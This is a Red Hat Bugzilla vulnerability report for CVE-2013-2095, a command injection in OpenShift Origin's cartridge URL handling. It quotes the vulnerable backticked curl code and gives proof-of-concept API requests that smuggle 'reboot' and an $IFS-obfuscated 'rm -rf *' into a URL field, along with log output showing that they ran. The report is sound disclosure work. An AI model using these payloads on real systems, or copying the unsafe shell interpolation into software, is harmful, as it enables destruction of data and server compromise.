Bug 963079 (CVE-2013-2095)

Summary: CVE-2013-2095 rubygem-openshift-origin-controller: cartridge_cache.rb URI.prase() command injection
Product: [Other] Security Response Reporter: Kurt Seifried <kseifried>
Component: vulnerabilityAssignee: Red Hat Product Security <security-response-team>
Status: CLOSED CURRENTRELEASE QA Contact:
Severity: high Docs Contact:
Priority: high    
Version: unspecifiedCC: bleanhar, ccoleman, dmcphers, jechoi, jialiu, jrusnack, khong, lmeyer, mmcgrath, security-response-team, xtian
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2014-07-04 18:29:21 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Bug Depends On: 963035, 963473    
Bug Blocks: 1008789    

Description Kurt Seifried 2013-05-15 06:12:52 UTC
Jeremy Choi (jechoi) reports:

Description of problem:

By further research, I managed to exploit the API to create applications via cartridge urls to perform command injection attacks. See actual results below.

While some changes have been applied to address the issue in bug #958928 earlier, it is now found to be still vulnerable.

After the changes, url has started to be checked by URI.parse(url) and it would run in ` form in accordance with the result of URI.parse()

  uri_obj = URI.parse(url)
  if uri_obj.kind_of? URI::HTTP or uri_obj.kind_of? URI::FTP
    manifest = `curl --max-time #{max_dl_time} --connect-timeout 2 --location --max-redirs #{max_redirs} --max-filesize #{max_file_size} -k #{url}`
  end

However, since URI.parse() allows ';' to be passed, commands can be injected if appended to the end of valid uri such as http://poc.com/;reboot

$ curl -k -s -H "Content-Type: application/json" -u jechoi:pw https://ec2-54-224-22-184.compute-1.amazonaws.com/broker/rest/domains/domtest/applications -X POST -d '{"name":"app4","cartridge":{"url":"http://poc.com/;reboot"}}'
{"data":null,"errors":{},"messages":[{"exit_code":109,"field":null,"severity":"error","text":"Invalid cartridge, error downloading from url 'http://poc.com/;reboot' "}],"status":"unprocessable_entity","supported_api_versions":[1.0,1.1,1.2,1.3,1.4],"type":null,"version":"1.4"}

It appears that error is returned, but the injected command is actully run.

# tail /var/log/openshift/broker/httpd/error_log 
...
reboot: Need to be root

Further, since URI.parse also allows '$', some commands which need arguements can be also injected using $IFS. See the result of injection of 'rm -rf *' 

$ curl -k -s -H "Content-Type: application/json" -u jechoi:pw https://ec2-54-224-22-184.compute-1.amazonaws.com/broker/rest/domains/domtest/applications -X POST -d '{"name":"app4","cartridge":{"url":"http://poc.com/;rm$IFS-rf$IFS*"}}'

# tail /var/log/openshift/broker/httpd/error_log 
rm: cannot remove `test/unit/nurture_test.rb': Permission denied
rm: cannot remove `test/unit/cloud_user_test.rb': Permission denied
rm: cannot remove `test/unit/cartridge_rates_test.rb': Permission denied
rm: cannot remove `test/system/app_cartridge_events_test.rb': Permission denied